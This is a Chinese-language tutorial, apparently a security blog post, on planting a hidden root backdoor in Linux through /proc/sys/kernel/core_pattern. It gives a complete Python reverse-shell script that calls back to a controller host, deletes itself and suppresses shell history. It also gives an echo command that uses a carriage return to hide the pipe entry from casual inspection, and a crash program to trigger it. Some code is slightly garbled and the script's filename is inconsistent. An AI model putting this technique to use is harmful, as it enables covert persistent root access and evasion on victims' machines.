這里所說的core_pattern 指的是:/proc/sys/kernel/core_pattern。 我們知道在Linux系統中,如果進程崩潰了,系統內核會捕獲到進程崩潰信息,然后將進程的coredump 信息寫入到文件中,這個文件名默認是core,但是也可以通過配置修改這個文件名。比如可以通過修改/proc/sys/kernel/core_pattern 文件的內容來指定。
Linux man 手冊上關於core_pattern的描述:
自Linux 內核2.6.19 之后 core_pattern 不僅僅可以包含一個指定報文coredump信息的文件名,還可以是Linux 管道加一個用戶空間的程序或者一個腳本
如果core_pattern 中第一個字符是 Linux管道符 |, 那么Linux 內核在捕獲進程崩潰信息的時候,就會以root權限執行管道符后門的程序或者腳本,將進程崩潰信息傳遞給這個程序或者腳本,這就給我們提供了一個隱藏系統后門的方法,我們可以在管道符后面隱藏我們的后門腳本,以實現在特定條件下反彈shell
下面實例演示使用此方法隱藏后門
0x01. 實例演示
試驗環境:
10.1.100.2 控制端 (centos7)
10.1.100.3 victim (kali2)
控制端執行監聽,等待后門連接:
被控端(這里的被控端指的就是我們滲透成功的victim機器,root權限)執行以下配置:
1、准備后門腳本
事先准備好反彈shell后門腳本,保存為/tmp/.x.py ,這個腳本在進程崩潰的時候被內核執行(那就是以root權限執行了),腳本代碼如下:
[code]#!/usr/bin/env python
# -- coding:utf8 --
import os
import pty
import socket
lhost = "10.1.100.2" # XXX: CHANGEME
lport = 31337 # XXX: CHANGEME
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
os.putenv("HISTFILE",'/dev/null')
pty.spawn("/bin/bash")
os.remove('/tmp/x.py') # 銷毀自身
s.close()
if name == "main":
main()[/code]
非常簡單的一段py腳本, 可以用來反彈一個shell
然后執行以下命令,給腳本賦予執行權限
chmod 755 /tmp/x.py
- 修改core_pattern的內容
然后再修改/proc/sys/kernel/core_pattern的內容,執行如下命令:
echo -e "|/tmp/.x.py \rcore " > /proc/sys/kernel/core_pattern
注: core 后面有若干空格,不可省略 (多余的空格是為了在顯示的時候遮蓋前面的內容)
我們看一下此刻/proc/sys/kernel/core_pattern 中的內容
用cat命令查看
只顯示 'core ', 而|/tmp/x.py 卻不見了,這是為何?
這是因為 \r (在Linux系統中意為:將光標移動至行首,卻不換行),終端在顯示的時候core 覆蓋了 |/tmp/.x.py 的顯示,給人造成一種迷惑,以達到隱藏|/tmp/.x.py 的目的
3、演示程序崩潰,觸發后門執行
接下來就是觸發系統程序崩潰了,為了演示, 我寫了一段含有錯誤的代碼(實際環境上可能要等待某個進程崩潰)
[code]#include <stdio.h>
int main(void)
{
((int )0) = 0;
int a = NULL;
a = 0x1;
return 0;
}[/code]
執行以下命令編譯:
增加權限 chmod 755 a.out
然后執行./a.out,使程序崩潰 (看到 core dumped 即表示程序已經崩潰,測試的時候需要適當設置ulimit的值)
然后我們的監聽端就已經獲取到了系統shell
0x02. 總結
本文旨在提供一種思路分享,希望大家多提意見改進